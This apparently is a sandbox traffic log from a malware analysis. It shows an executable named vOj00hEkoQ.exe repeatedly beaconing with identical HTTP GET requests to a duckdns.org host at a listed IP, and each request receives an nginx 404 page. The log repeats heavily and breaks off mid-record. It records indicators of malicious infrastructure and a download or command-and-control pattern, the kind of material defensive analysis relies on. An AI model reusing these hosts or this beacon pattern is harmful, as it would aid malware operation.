2022-08-05 10:12:29 UTC	78	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
185	192.168.2.6	49983	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:29 UTC	78	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:29 UTC	78	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:29 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:29 UTC	78	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
186	192.168.2.6	49984	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:30 UTC	78	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:30 UTC	78	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:30 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:30 UTC	78	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.6	49783	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:10:50 UTC	8	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:10:50 UTC	8	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:10:50 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:10:50 UTC	8	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.6	49741	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:10:29 UTC	0	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:10:29 UTC	0	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:10:29 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:10:29 UTC	1	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.6	49785	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:10:52 UTC	8	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:10:52 UTC	8	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:10:52 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:10:52 UTC	8	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.6	49786	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:10:52 UTC	8	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:10:52 UTC	9	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:10:52 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:10:52 UTC	9	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.6	49787	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:10:53 UTC	9	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:10:53 UTC	9	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:10:53 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:10:53 UTC	9	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.6	49788	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:10:54 UTC	9	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:10:54 UTC	9	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:10:54 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:10:54 UTC	10	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.6	49789	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:10:55 UTC	10	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:10:55 UTC	10	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:10:55 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:10:55 UTC	10	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.6	49790	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:10:56 UTC	10	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:10:56 UTC	10	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:10:56 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:10:56 UTC	10	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.6	49791	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:10:56 UTC	10	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:10:56 UTC	11	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:10:56 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:10:56 UTC	11	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.6	49792	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:10:57 UTC	11	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:10:57 UTC	11	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:10:57 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:10:57 UTC	11	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.6	49793	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:10:57 UTC	11	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:10:57 UTC	11	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:10:57 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:10:57 UTC	12	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.6	49794	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:10:58 UTC	12	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:10:58 UTC	12	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:10:58 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:10:58 UTC	12	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.6	49744	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:10:30 UTC	1	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:10:30 UTC	1	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:10:30 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:10:30 UTC	1	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.6	49795	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:10:59 UTC	12	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:10:59 UTC	12	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:10:59 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:10:59 UTC	12	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.6	49796	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:10:59 UTC	13	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:10:59 UTC	13	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:10:59 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:10:59 UTC	13	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.6	49797	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:00 UTC	13	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:00 UTC	13	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:00 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:00 UTC	13	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.6	49798	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:00 UTC	13	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:00 UTC	14	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:00 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:00 UTC	14	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.6	49799	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
